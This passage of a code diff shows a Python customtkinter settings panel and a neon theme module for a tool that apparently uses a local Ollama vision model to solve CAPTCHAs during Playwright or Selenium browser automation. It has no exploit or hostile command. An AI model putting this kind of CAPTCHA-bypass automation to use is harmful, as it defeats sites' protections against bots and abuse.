self.max_tokens_entry.pack(side="left")
|
||||||
|
|
||||||
|
# === SECTION 4: Browser Automation ===
|
||||||
|
CyberpunkTheme.create_section_header(self.content, "> BROWSER AUTOMATION")
|
||||||
|
|
||||||
|
browser_frame = ctk.CTkFrame(self.content, fg_color="transparent")
|
||||||
|
browser_frame.pack(fill="x", padx=10, pady=5)
|
||||||
|
|
||||||
|
row_b1 = ctk.CTkFrame(browser_frame, fg_color="transparent")
|
||||||
|
row_b1.pack(fill="x")
|
||||||
|
|
||||||
|
ctk.CTkLabel(
|
||||||
|
row_b1, text="Engine:",
|
||||||
|
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||||
|
).pack(side="left", padx=(0, 5))
|
||||||
|
|
||||||
|
self.browser_engine_var = ctk.StringVar(value="Playwright")
|
||||||
|
browser_menu = ctk.CTkOptionMenu(
|
||||||
|
row_b1,
|
||||||
|
values=["Playwright", "Selenium", "None (Manual)"],
|
||||||
|
variable=self.browser_engine_var,
|
||||||
|
fg_color=CyberpunkTheme.BG_DARK,
|
||||||
|
button_color=CyberpunkTheme.TERTIARY,
|
||||||
|
button_hover_color=CyberpunkTheme.PRIMARY,
|
||||||
|
text_color=CyberpunkTheme.TEXT_PRIMARY,
|
||||||
|
dropdown_fg_color=CyberpunkTheme.BG_MEDIUM,
|
||||||
|
dropdown_hover_color=CyberpunkTheme.TERTIARY,
|
||||||
|
dropdown_text_color=CyberpunkTheme.TEXT_PRIMARY,
|
||||||
|
font=("Consolas", 11),
|
||||||
|
width=180,
|
||||||
|
)
|
||||||
|
browser_menu.pack(side="left", padx=(0, 20))
|
||||||
|
|
||||||
|
ctk.CTkLabel(
|
||||||
|
row_b1, text="Headless:",
|
||||||
|
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||||
|
).pack(side="left", padx=(0, 5))
|
||||||
|
|
||||||
|
self.headless_var = ctk.BooleanVar(value=False)
|
||||||
|
ctk.CTkCheckBox(
|
||||||
|
row_b1, text="", variable=self.headless_var,
|
||||||
|
checkbox_width=20, checkbox_height=20,
|
||||||
|
).pack(side="left", padx=(0, 20))
|
||||||
|
|
||||||
|
ctk.CTkLabel(
|
||||||
|
row_b1, text="Viewport:",
|
||||||
|
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||||
|
).pack(side="left", padx=(0, 5))
|
||||||
|
|
||||||
|
self.viewport_entry = ctk.CTkEntry(
|
||||||
|
row_b1, width=120, placeholder_text="1280x720",
|
||||||
|
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
|
||||||
|
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11),
|
||||||
|
)
|
||||||
|
self.viewport_entry.insert(0, "1280x720")
|
||||||
|
self.viewport_entry.pack(side="left")
|
||||||
|
|
||||||
|
# Mouse behavior
|
||||||
|
row_b2 = ctk.CTkFrame(browser_frame, fg_color="transparent")
|
||||||
|
row_b2.pack(fill="x", pady=(8, 0))
|
||||||
|
|
||||||
|
ctk.CTkLabel(
|
||||||
|
row_b2, text="Mouse Delay (ms):",
|
||||||
|
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||||
|
).pack(side="left", padx=(0, 5))
|
||||||
|
|
||||||
|
self.mouse_delay_entry = ctk.CTkEntry(
|
||||||
|
row_b2, width=60, placeholder_text="50",
|
||||||
|
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
|
||||||
|
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11),
|
||||||
|
)
|
||||||
|
self.mouse_delay_entry.insert(0, "50")
|
||||||
|
self.mouse_delay_entry.pack(side="left", padx=(0, 20))
|
||||||
|
|
||||||
|
ctk.CTkLabel(
|
||||||
|
row_b2, text="Retry Limit:",
|
||||||
|
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||||
|
).pack(side="left", padx=(0, 5))
|
||||||
|
|
||||||
|
self.retry_entry = ctk.CTkEntry(
|
||||||
|
row_b2, width=60, placeholder_text="3",
|
||||||
|
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
|
||||||
|
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11),
|
||||||
|
)
|
||||||
|
self.retry_entry.insert(0, "3")
|
||||||
|
self.retry_entry.pack(side="left")
|
||||||
|
|
||||||
|
# === SECTION 5: System Status ===
|
||||||
|
CyberpunkTheme.create_section_header(self.content, "> SYSTEM STATUS")
|
||||||
|
|
||||||
|
status_frame = ctk.CTkFrame(self.content, fg_color="transparent")
|
||||||
|
status_frame.pack(fill="x", padx=10, pady=5)
|
||||||
|
|
||||||
|
self.status_text = ctk.CTkTextbox(
|
||||||
|
status_frame, height=100,
|
||||||
|
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
|
||||||
|
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 10),
|
||||||
|
)
|
||||||
|
self.status_text.pack(fill="x")
|
||||||
|
self.status_text.insert("1.0", "System status will appear here after connecting to Ollama...\n")
|
||||||
|
self.status_text.configure(state="disabled")
|
||||||
|
|
||||||
|
# === Bottom: Save Config ===
|
||||||
|
bottom_frame = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, height=50)
|
||||||
|
bottom_frame.pack(fill="x", side="bottom")
|
||||||
|
|
||||||
|
inner_bottom = ctk.CTkFrame(bottom_frame, fg_color="transparent")
|
||||||
|
inner_bottom.pack(fill="x", padx=15, pady=8)
|
||||||
|
|
||||||
|
self.save_btn = CyberpunkTheme.create_neon_button(
|
||||||
|
inner_bottom, text="💾 SAVE CONFIGURATION",
|
||||||
|
command=self._on_save_config,
|
||||||
|
color=CyberpunkTheme.SUCCESS,
|
||||||
|
width=220, height=36,
|
||||||
|
)
|
||||||
|
self.save_btn.pack(side="right")
|
||||||
|
|
||||||
|
self.test_model_btn = CyberpunkTheme.create_neon_button(
|
||||||
|
inner_bottom, text="🧪 TEST MODEL",
|
||||||
|
command=self._on_test_model,
|
||||||
|
color=CyberpunkTheme.PRIMARY,
|
||||||
|
width=160, height=36,
|
||||||
|
)
|
||||||
|
self.test_model_btn.pack(side="right", padx=(0, 10))
|
||||||
|
|
||||||
|
self.test_captcha_btn = CyberpunkTheme.create_neon_button(
|
||||||
|
inner_bottom, text="🔍 TEST CAPTCHA SOLVER",
|
||||||
|
command=self._on_test_captcha_solver,
|
||||||
|
color=CyberpunkTheme.TERTIARY,
|
||||||
|
width=210, height=36,
|
||||||
|
)
|
||||||
|
self.test_captcha_btn.pack(side="right", padx=(0, 10))
|
||||||
|
|
||||||
|
# Auto-connect on startup
|
||||||
|
self.after(1000, self._auto_connect)
|
||||||
|
|
||||||
|
def _auto_connect(self):
|
||||||
|
"""Auto-detect Ollama on startup."""
|
||||||
|
if self.ollama.is_running():
|
||||||
|
self._on_connect_success()
|
||||||
|
else:
|
||||||
|
self.ollama_status_label.configure(
|
||||||
|
text="● NOT FOUND", text_color=CyberpunkTheme.ERROR
|
||||||
|
)
|
||||||
|
self._log_status("Ollama server not detected at " + OLLAMA_DEFAULT_HOST)
|
||||||
|
self._log_status("Make sure Ollama is running: https://ollama.ai")
|
||||||
|
|
||||||
|
def _on_connect(self):
|
||||||
|
"""Connect to Ollama server."""
|
||||||
|
host = self.host_entry.get().strip()
|
||||||
|
if not host:
|
||||||
|
host = OLLAMA_DEFAULT_HOST
|
||||||
|
|
||||||
|
self.ollama.host = host
|
||||||
|
self.connect_btn.configure(state="disabled", text="⏳ CONNECTING...")
|
||||||
|
|
||||||
|
def worker():
|
||||||
|
if self.ollama.is_running():
|
||||||
|
self.after(0, self._on_connect_success)
|
||||||
|
else:
|
||||||
|
self.after(0, self._on_connect_failure)
|
||||||
|
|
||||||
|
thread = threading.Thread(target=worker, daemon=True)
|
||||||
|
thread.start()
|
||||||
|
|
||||||
|
def _on_connect_success(self):
|
||||||
|
"""Handle successful connection."""
|
||||||
|
self.connect_btn.configure(state="normal", text="🔗 CONNECT")
|
||||||
|
self.ollama_status_label.configure(
|
||||||
|
text="● CONNECTED", text_color=CyberpunkTheme.SUCCESS
|
||||||
|
)
|
||||||
|
self._log_status("✅ Connected to Ollama at " + self.ollama.host)
|
||||||
|
self._on_refresh_models()
|
||||||
|
|
||||||
|
def _on_connect_failure(self):
|
||||||
|
"""Handle connection failure."""
|
||||||
|
self.connect_btn.configure(state="normal", text="🔗 CONNECT")
|
||||||
|
self.ollama_status_label.configure(
|
||||||
|
text="● FAILED", text_color=CyberpunkTheme.ERROR
|
||||||
|
)
|
||||||
|
self._log_status("❌ Failed to connect to Ollama")
|
||||||
|
|
||||||
|
def _on_refresh_models(self):
|
||||||
|
"""Refresh the model list from Ollama."""
|
||||||
|
self.refresh_models_btn.configure(state="disabled", text="⏳")
|
||||||
|
|
||||||
|
def worker():
|
||||||
|
models = self.ollama.get_model_names()
|
||||||
|
self.after(0, self._on_models_loaded, models)
|
||||||
|
|
||||||
|
thread = threading.Thread(target=worker, daemon=True)
|
||||||
|
thread.start()
|
||||||
|
|
||||||
|
def _on_models_loaded(self, models: List[str]):
|
||||||
|
"""Update UI with loaded models."""
|
||||||
|
self.refresh_models_btn.configure(state="normal", text="🔄 REFRESH")
|
||||||
|
|
||||||
|
if models:
|
||||||
|
self.model_dropdown.configure(values=models)
|
||||||
|
if not self.model_var.get() or self.model_var.get() not in models:
|
||||||
|
self.model_var.set(models[0])
|
||||||
|
self._log_status(f"📦 Found {len(models)} models: {', '.join(models[:5])}{'...' if len(models) > 5 else ''}")
|
||||||
|
else:
|
||||||
|
self.model_dropdown.configure(values=["No models found"])
|
||||||
|
self.model_var.set("No models found")
|
||||||
|
self._log_status("⚠️ No models found. Pull a vision model to get started.")
|
||||||
|
|
||||||
|
def _on_pull_model(self):
|
||||||
|
"""Pull a model from Ollama registry."""
|
||||||
|
model_name = self.pull_entry.get().strip()
|
||||||
|
if not model_name:
|
||||||
|
self._log_status("⚠️ Enter a model name to pull")
|
||||||
|
return
|
||||||
|
|
||||||
|
self.pull_btn.configure(state="disabled", text="⏳ PULLING...")
|
||||||
|
self._log_status(f"📥 Pulling model: {model_name} (this may take a while)...")
|
||||||
|
|
||||||
|
def worker():
|
||||||
|
success = self.ollama.pull_model(model_name)
|
||||||
|
self.after(0, self._on_pull_complete, model_name, success)
|
||||||
|
|
||||||
|
thread = threading.Thread(target=worker, daemon=True)
|
||||||
|
thread.start()
|
||||||
|
|
||||||
|
def _on_pull_complete(self, model_name: str, success: bool):
|
||||||
|
"""Handle pull completion."""
|
||||||
|
self.pull_btn.configure(state="normal", text="📥 PULL")
|
||||||
|
if success:
|
||||||
|
self._log_status(f"✅ Successfully pulled {model_name}")
|
||||||
|
self._on_refresh_models()
|
||||||
|
else:
|
||||||
|
self._log_status(f"❌ Failed to pull {model_name}")
|
||||||
|
|
||||||
|
def _on_test_model(self):
|
||||||
|
"""Test the selected model with a simple prompt."""
|
||||||
|
model = self.model_var.get()
|
||||||
|
if not model or model == "No models found":
|
||||||
|
self._log_status("⚠️ No model selected")
|
||||||
|
return
|
||||||
|
|
||||||
|
self.test_model_btn.configure(state="disabled", text="⏳ TESTING...")
|
||||||
|
self._log_status(f"🧪 Testing model: {model}...")
|
||||||
|
|
||||||
|
def worker():
|
||||||
|
try:
|
||||||
|
from src.captcha.captcha_solver import CaptchaSolver
|
||||||
|
solver = CaptchaSolver(
|
||||||
|
host=self.host_entry.get().strip() or OLLAMA_DEFAULT_HOST,
|
||||||
|
model=model,
|
||||||
|
timeout=60,
|
||||||
|
)
|
||||||
|
ok, response = solver.test_text_generation(
|
||||||
|
"Reply with exactly: OK - Model is working"
|
||||||
|
)
|
||||||
|
self.after(0, self._on_test_complete, response if ok else None)
|
||||||
|
except Exception as e:
|
||||||
|
logger.warning(f"Model test failed: {e}")
|
||||||
|
self.after(0, self._on_test_complete, None)
|
||||||
|
|
||||||
|
thread = threading.Thread(target=worker, daemon=True)
|
||||||
|
thread.start()
|
||||||
|
|
||||||
|
def _on_test_complete(self, response: Optional[str]):
|
||||||
|
"""Handle model test result."""
|
||||||
|
self.test_model_btn.configure(state="normal", text="🧪 TEST MODEL")
|
||||||
|
if response:
|
||||||
|
self._log_status(f"✅ Model test successful: {response[:100]}")
|
||||||
|
else:
|
||||||
|
self._log_status("❌ Model test failed — no response")
|
||||||
|
|
||||||
|
def _load_saved_config(self):
|
||||||
|
"""Pre-fill UI fields from config_ollama.json if it exists."""
|
||||||
|
try:
|
||||||
|
path = OLLAMA_CONFIG_FILE
|
||||||
|
if not path.exists():
|
||||||
|
path.write_text(
|
||||||
|
json.dumps(DEFAULT_OLLAMA_CONFIG, indent=2),
|
||||||
|
encoding="utf-8",
|
||||||
|
)
|
||||||
|
cfg = {**DEFAULT_OLLAMA_CONFIG, **json.loads(path.read_text(encoding="utf-8"))}
|
||||||
|
if cfg.get("ollama_host"):
|
||||||
|
self.host_entry.delete(0, "end")
|
||||||
|
self.host_entry.insert(0, cfg["ollama_host"])
|
||||||
|
self.ollama.host = cfg["ollama_host"]
|
||||||
|
saved_model = cfg.get("model", "")
|
||||||
|
if saved_model:
|
||||||
|
self.model_var.set(saved_model)
|
||||||
|
if cfg.get("temperature") is not None:
|
||||||
|
self.temp_var.set(float(cfg["temperature"]))
|
||||||
|
if cfg.get("max_tokens"):
|
||||||
|
self.max_tokens_entry.delete(0, "end")
|
||||||
|
self.max_tokens_entry.insert(0, str(cfg["max_tokens"]))
|
||||||
|
if cfg.get("prompt_template"):
|
||||||
|
self.prompt_text.delete("1.0", "end")
|
||||||
|
self.prompt_text.insert("1.0", cfg["prompt_template"])
|
||||||
|
if cfg.get("browser_engine"):
|
||||||
|
self.browser_engine_var.set(cfg["browser_engine"])
|
||||||
|
self.headless_var.set(bool(cfg.get("headless", False)))
|
||||||
|
if cfg.get("viewport"):
|
||||||
|
self.viewport_entry.delete(0, "end")
|
||||||
|
self.viewport_entry.insert(0, cfg["viewport"])
|
||||||
|
if cfg.get("mouse_delay_ms") is not None:
|
||||||
|
self.mouse_delay_entry.delete(0, "end")
|
||||||
|
self.mouse_delay_entry.insert(0, str(cfg["mouse_delay_ms"]))
|
||||||
|
if cfg.get("retry_limit") is not None:
|
||||||
|
self.retry_entry.delete(0, "end")
|
||||||
|
self.retry_entry.insert(0, str(cfg["retry_limit"]))
|
||||||
|
self._log_status("📂 Loaded saved configuration")
|
||||||
|
except Exception as e:
|
||||||
|
self._log_status(f"Could not load saved config: {e}")
|
||||||
|
|
||||||
|
def _on_save_config(self):
|
||||||
|
"""Save the current configuration and reload the CAPTCHA solver."""
|
||||||
|
model = self.model_var.get()
|
||||||
|
if model == "No models found":
|
||||||
|
model = ""
|
||||||
|
config = {
|
||||||
|
"ollama_host": self.host_entry.get().strip() or OLLAMA_DEFAULT_HOST,
|
||||||
|
"model": model,
|
||||||
|
"temperature": self.temp_var.get(),
|
||||||
|
"max_tokens": int(self.max_tokens_entry.get() or "512"),
|
||||||
|
"prompt_template": self.prompt_text.get("1.0", "end").strip(),
|
||||||
|
"browser_engine": self.browser_engine_var.get(),
|
||||||
|
"headless": self.headless_var.get(),
|
||||||
|
"viewport": self.viewport_entry.get().strip(),
|
||||||
|
"mouse_delay_ms": int(self.mouse_delay_entry.get() or "50"),
|
||||||
|
"retry_limit": int(self.retry_entry.get() or "3"),
|
||||||
|
}
|
||||||
|
|
||||||
|
try:
|
||||||
|
with open(OLLAMA_CONFIG_FILE, "w", encoding="utf-8") as f:
|
||||||
|
json.dump(config, f, indent=2)
|
||||||
|
self._log_status(f"💾 Configuration saved (model: {model or 'none'})")
|
||||||
|
# Reload the global captcha solver so it picks up the new model
|
||||||
|
try:
|
||||||
|
from src.captcha.captcha_solver import CaptchaSolver
|
||||||
|
_solver = CaptchaSolver()
|
||||||
|
_solver.reload_config()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
except Exception as e:
|
||||||
|
self._log_status(f"❌ Failed to save config: {e}")
|
||||||
|
|
||||||
|
def _on_test_captcha_solver(self):
|
||||||
|
"""Test the CAPTCHA solver with a blank white image."""
|
||||||
|
model = self.model_var.get()
|
||||||
|
if not model or model == "No models found":
|
||||||
|
self._log_status("⚠️ Select a model first, then SAVE CONFIGURATION")
|
||||||
|
return
|
||||||
|
|
||||||
|
self.test_captcha_btn.configure(state="disabled", text="⏳ TESTING…")
|
||||||
|
self._log_status(f"🔍 Testing CAPTCHA solver with model: {model} …")
|
||||||
|
|
||||||
|
def worker():
|
||||||
|
try:
|
||||||
|
from src.captcha.captcha_solver import CaptchaSolver
|
||||||
|
from PIL import Image
|
||||||
|
from io import BytesIO
|
||||||
|
solver = CaptchaSolver(
|
||||||
|
host=self.host_entry.get().strip() or OLLAMA_DEFAULT_HOST,
|
||||||
|
model=model,
|
||||||
|
timeout=60,
|
||||||
|
)
|
||||||
|
# Create a simple test image (white 200x80 with text)
|
||||||
|
img = Image.new("RGB", (200, 80), color=(240, 240, 240))
|
||||||
|
buf = BytesIO()
|
||||||
|
img.save(buf, format="PNG")
|
||||||
|
ok, answer = solver.solve(buf.getvalue(),
|
||||||
|
prompt="This is a test. Reply with exactly: SOLVER_OK")
|
||||||
|
self.after(0, lambda o=ok, a=answer: self._on_captcha_test_done(o, a))
|
||||||
|
except Exception as e:
|
||||||
|
self.after(0, lambda: self._on_captcha_test_done(False, str(e)))
|
||||||
|
|
||||||
|
threading.Thread(target=worker, daemon=True).start()
|
||||||
|
|
||||||
|
def _on_captcha_test_done(self, ok: bool, answer: str):
|
||||||
|
self.test_captcha_btn.configure(state="normal", text="🔍 TEST CAPTCHA SOLVER")
|
||||||
|
if ok:
|
||||||
|
self._log_status(f"✅ CAPTCHA solver responded: '{answer[:80]}'")
|
||||||
|
else:
|
||||||
|
self._log_status(f"❌ CAPTCHA solver failed: {answer[:120]}")
|
||||||
|
|
||||||
|
def _log_status(self, message: str):
|
||||||
|
"""Add a message to the status log."""
|
||||||
|
from datetime import datetime
|
||||||
|
timestamp = datetime.now().strftime("%H:%M:%S")
|
||||||
|
self.status_text.configure(state="normal")
|
||||||
|
self.status_text.insert("end", f"[{timestamp}] {message}\n")
|
||||||
|
self.status_text.see("end")
|
||||||
|
self.status_text.configure(state="disabled")
|
||||||
265
src/gui/theme.py
Normal file
265
src/gui/theme.py
Normal file
@@ -0,0 +1,265 @@
|
|||||||
|
"""
|
||||||
|
Cyberpunk theme — colors, fonts, and reusable widget factories.
|
||||||
|
"""
|
||||||
|
import customtkinter as ctk
|
||||||
|
from config import THEME
|
||||||
|
|
||||||
|
|
||||||
|
class CyberpunkTheme:
|
||||||
|
"""Applies the cyberpunk neon theme to the entire application."""
|
||||||
|
|
||||||
|
# Color palette
|
||||||
|
BG_DARK = THEME["bg_dark"]
|
||||||
|
BG_MEDIUM = THEME["bg_medium"]
|
||||||
|
BG_LIGHT = THEME["bg_light"]
|
||||||
|
PRIMARY = THEME["primary"]
|
||||||
|
SECONDARY = THEME["secondary"]
|
||||||
|
TERTIARY = THEME["tertiary"]
|
||||||
|
TEXT_PRIMARY = THEME["text_primary"]
|
||||||
|
TEXT_SECONDARY = THEME["text_secondary"]
|
||||||
|
TEXT_DIM = THEME["text_dim"]
|
||||||
|
SUCCESS = THEME["success"]
|
||||||
|
WARNING = THEME["warning"]
|
||||||
|
ERROR = THEME["error"]
|
||||||
|
BORDER = THEME["border"]
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def _set(cls, widget: str, **props):
|
||||||
|
"""Set theme properties only when the widget key exists in customtkinter."""
|
||||||
|
theme = ctk.ThemeManager.theme
|
||||||
|
if widget not in theme:
|
||||||
|
return
|
||||||
|
for key, value in props.items():
|
||||||
|
if key in theme[widget]:
|
||||||
|
theme[widget][key] = value
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def apply(cls):
|
||||||
|
"""Apply the cyberpunk theme globally to customtkinter."""
|
||||||
|
ctk.set_appearance_mode("dark")
|
||||||
|
ctk.set_default_color_theme("dark-blue")
|
||||||
|
|
||||||
|
# ── Frames ──────────────────────────────────────────────
|
||||||
|
cls._set("CTkFrame",
|
||||||
|
fg_color=[cls.BG_MEDIUM, cls.BG_MEDIUM],
|
||||||
|
border_color=[cls.BORDER, cls.BORDER],
|
||||||
|
top_fg_color=[cls.BG_DARK, cls.BG_DARK])
|
||||||
|
|
||||||
|
# ── Buttons ─────────────────────────────────────────────
|
||||||
|
cls._set("CTkButton",
|
||||||
|
fg_color=[cls.TERTIARY, cls.TERTIARY],
|
||||||
|
hover_color=[cls.PRIMARY, cls.PRIMARY],
|
||||||
|
text_color=[cls.TEXT_PRIMARY, cls.TEXT_PRIMARY],
|
||||||
|
border_color=[cls.PRIMARY, cls.PRIMARY])
|
||||||
|
|
||||||
|
# ── Entries ─────────────────────────────────────────────
|
||||||
|
cls._set("CTkEntry",
|
||||||
|
fg_color=[cls.BG_DARK, cls.BG_DARK],
|
||||||
|
text_color=[cls.TEXT_PRIMARY, cls.TEXT_PRIMARY],
|
||||||
|
border_color=[cls.BORDER, cls.BORDER],
|
||||||
|
placeholder_text_color=[cls.TEXT_DIM, cls.TEXT_DIM])
|
||||||
|
|
||||||
|
# ── Labels ──────────────────────────────────────────────
|
||||||
|
cls._set("CTkLabel",
|
||||||
|
text_color=[cls.TEXT_PRIMARY, cls.TEXT_PRIMARY],
|
||||||
|
fg_color=["transparent", "transparent"])
|
||||||
|
|
||||||
|
# ── Checkboxes (customtkinter uses CTkCheckBox, not CTkCheckbox) ──
|
||||||
|
cls._set("CTkCheckBox",
|
||||||
|
fg_color=[cls.TERTIARY, cls.TERTIARY],
|
||||||
|
hover_color=[cls.PRIMARY, cls.PRIMARY],
|
||||||
|
text_color=[cls.TEXT_PRIMARY, cls.TEXT_PRIMARY],
|
||||||
|
border_color=[cls.BORDER, cls.BORDER],
|
||||||
|
checkmark_color=[cls.BG_DARK, cls.BG_DARK])
|
||||||
|
|
||||||
|
# ── Progress bars ────────────────────────────────────────
|
||||||
|
cls._set("CTkProgressBar",
|
||||||
|
fg_color=[cls.BG_DARK, cls.BG_DARK],
|
||||||
|
progress_color=[cls.PRIMARY, cls.PRIMARY],
|
||||||
|
border_color=[cls.BORDER, cls.BORDER])
|
||||||
|
|
||||||
|
# ── Sliders ──────────────────────────────────────────────
|
||||||
|
cls._set("CTkSlider",
|
||||||
|
fg_color=[cls.BG_DARK, cls.BG_DARK],
|
||||||
|
progress_color=[cls.PRIMARY, cls.PRIMARY],
|
||||||
|
button_color=[cls.PRIMARY, cls.PRIMARY],
|
||||||
|
button_hover_color=[cls.SECONDARY, cls.SECONDARY])
|
||||||
|
|
||||||
|
# ── Option menus ─────────────────────────────────────────
|
||||||
|
cls._set("CTkOptionMenu",
|
||||||
|
fg_color=[cls.BG_DARK, cls.BG_DARK],
|
||||||
|
text_color=[cls.TEXT_PRIMARY, cls.TEXT_PRIMARY],
|
||||||
|
dropdown_fg_color=[cls.BG_MEDIUM, cls.BG_MEDIUM],
|
||||||
|
dropdown_hover_color=[cls.TERTIARY, cls.TERTIARY],
|
||||||
|
dropdown_text_color=[cls.TEXT_PRIMARY, cls.TEXT_PRIMARY],
|
||||||
|
border_color=[cls.BORDER, cls.BORDER])
|
||||||
|
|
||||||
|
# ── Scrollbars ───────────────────────────────────────────
|
||||||
|
cls._set("CTkScrollbar",
|
||||||
|
fg_color=[cls.BG_DARK, cls.BG_DARK],
|
||||||
|
button_color=[cls.TERTIARY, cls.TERTIARY],
|
||||||
|
button_hover_color=[cls.PRIMARY, cls.PRIMARY])
|
||||||
|
|
||||||
|
# ── Tab bar (CTkTabview uses CTkSegmentedButton internally) ──
|
||||||
|
cls._set("CTkSegmentedButton",
|
||||||
|
fg_color=[cls.BG_DARK, cls.BG_DARK],
|
||||||
|
selected_color=[cls.TERTIARY, cls.TERTIARY],
|
||||||
|
selected_hover_color=[cls.PRIMARY, cls.PRIMARY],
|
||||||
|
unselected_color=[cls.BG_DARK, cls.BG_DARK],
|
||||||
|
unselected_hover_color=[cls.BG_LIGHT, cls.BG_LIGHT],
|
||||||
|
text_color=[cls.TEXT_PRIMARY, cls.TEXT_PRIMARY])
|
||||||
|
|
||||||
|
# ── Textboxes ────────────────────────────────────────────
|
||||||
|
cls._set("CTkTextbox",
|
||||||
|
fg_color=[cls.BG_DARK, cls.BG_DARK],
|
||||||
|
text_color=[cls.TEXT_PRIMARY, cls.TEXT_PRIMARY],
|
||||||
|
border_color=[cls.BORDER, cls.BORDER])
|
||||||
|
|
||||||
|
# ── Scrollable frames ────────────────────────────────────
|
||||||
|
cls._set("CTkScrollableFrame",
|
||||||
|
fg_color=[cls.BG_MEDIUM, cls.BG_MEDIUM],
|
||||||
|
border_color=[cls.BORDER, cls.BORDER])
|
||||||
|
|
||||||
|
# ──────────────────────────────────────────────────────────────
|
||||||
|
# Widget factories
|
||||||
|
# ──────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def create_neon_button(parent, text, command=None, color=None, **kwargs):
|
||||||
|
"""Neon button with colored border glow."""
|
||||||
|
fg = color or CyberpunkTheme.TERTIARY
|
||||||
|
# Hover brightens toward PRIMARY cyan
|
||||||
|
hover = CyberpunkTheme.PRIMARY if fg != CyberpunkTheme.PRIMARY else CyberpunkTheme.SECONDARY
|
||||||
|
font = kwargs.pop("font", ("Consolas", 13, "bold"))
|
||||||
|
btn = ctk.CTkButton(
|
||||||
|
parent,
|
||||||
|
text=text,
|
||||||
|
command=command,
|
||||||
|
fg_color=fg,
|
||||||
|
hover_color=hover,
|
||||||
|
border_width=1,
|
||||||
|
border_color=CyberpunkTheme.PRIMARY,
|
||||||
|
text_color=CyberpunkTheme.TEXT_PRIMARY,
|
||||||
|
font=font,
|
||||||
|
corner_radius=4,
|
||||||
|
**kwargs,
|
||||||
|
)
|
||||||
|
return btn
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def apply_focus_glow(entry_widget):
|
||||||
|
"""Add cyan glow on focus to any CTkEntry widget."""
|
||||||
|
entry_widget.bind(
|
||||||
|
"<FocusIn>",
|
||||||
|
lambda _: entry_widget.configure(border_color=CyberpunkTheme.PRIMARY),
|
||||||
|
)
|
||||||
|
entry_widget.bind(
|
||||||
|
"<FocusOut>",
|
||||||
|
lambda _: entry_widget.configure(border_color=CyberpunkTheme.BORDER),
|
||||||
|
)
|
||||||
|
return entry_widget
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def create_neon_entry(parent, placeholder="", width=200, **kwargs):
|
||||||
|
"""Entry with neon border that brightens on focus."""
|
||||||
|
entry = ctk.CTkEntry(
|
||||||
|
parent,
|
||||||
|
placeholder_text=placeholder,
|
||||||
|
width=width,
|
||||||
|
fg_color=CyberpunkTheme.BG_DARK,
|
||||||
|
border_color=CyberpunkTheme.BORDER,
|
||||||
|
text_color=CyberpunkTheme.TEXT_PRIMARY,
|
||||||
|
placeholder_text_color=CyberpunkTheme.TEXT_DIM,
|
||||||
|
font=("Consolas", 12),
|
||||||
|
corner_radius=4,
|
||||||
|
**kwargs,
|
||||||
|
)
|
||||||
|
# Subtle focus glow: swap border color on focus/unfocus
|
||||||
|
entry.bind("<FocusIn>", lambda _: entry.configure(border_color=CyberpunkTheme.PRIMARY))
|
||||||
|
entry.bind("<FocusOut>", lambda _: entry.configure(border_color=CyberpunkTheme.BORDER))
|
||||||
|
return entry
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def create_neon_label(parent, text, font_size=12, color=None, **kwargs):
|
||||||
|
return ctk.CTkLabel(
|
||||||
|
parent,
|
||||||
|
text=text,
|
||||||
|
text_color=color or CyberpunkTheme.TEXT_PRIMARY,
|
||||||
|
font=("Consolas", font_size),
|
||||||
|
**kwargs,
|
||||||
|
)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def create_section_header(parent, text):
|
||||||
|
"""
|
||||||
|
Sleek section header: full-width rule with a neon left accent and
|
||||||
|
uppercase monospace label.
|
||||||
|
"""
|
||||||
|
outer = ctk.CTkFrame(parent, fg_color="transparent", height=34)
|
||||||
|
outer.pack(fill="x", pady=(14, 4))
|
||||||
|
outer.pack_propagate(False)
|
||||||
|
|
||||||
|
# Neon left accent bar
|
||||||
|
accent = ctk.CTkFrame(outer, fg_color=CyberpunkTheme.PRIMARY, width=3, corner_radius=0)
|
||||||
|
accent.pack(side="left", fill="y", padx=(0, 10))
|
||||||
|
|
||||||
|
label = ctk.CTkLabel(
|
||||||
|
outer,
|
||||||
|
text=text.upper(),
|
||||||
|
text_color=CyberpunkTheme.PRIMARY,
|
||||||
|
font=("Consolas", 11, "bold"),
|
||||||
|
)
|
||||||
|
label.pack(side="left", anchor="center")
|
||||||
|
|
||||||
|
# Trailing dim rule that fills the rest of the width
|
||||||
|
rule = ctk.CTkFrame(outer, fg_color=CyberpunkTheme.BORDER, height=1)
|
||||||
|
rule.pack(side="left", fill="x", expand=True, padx=(10, 0), pady=(1, 0))
|
||||||
|
|
||||||
|
return outer
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def create_status_bar(parent):
|
||||||
|
"""
|
||||||
|
Bottom status bar: dark strip with a thin colored top-border for depth.
|
||||||
|
"""
|
||||||
|
wrapper = ctk.CTkFrame(parent, fg_color=CyberpunkTheme.BG_DARK, height=30)
|
||||||
|
wrapper.pack(side="bottom", fill="x")
|
||||||
|
wrapper.pack_propagate(False)
|
||||||
|
|
||||||
|
# Thin top accent line
|
||||||
|
top_rule = ctk.CTkFrame(wrapper, fg_color=CyberpunkTheme.BORDER, height=1)
|
||||||
|
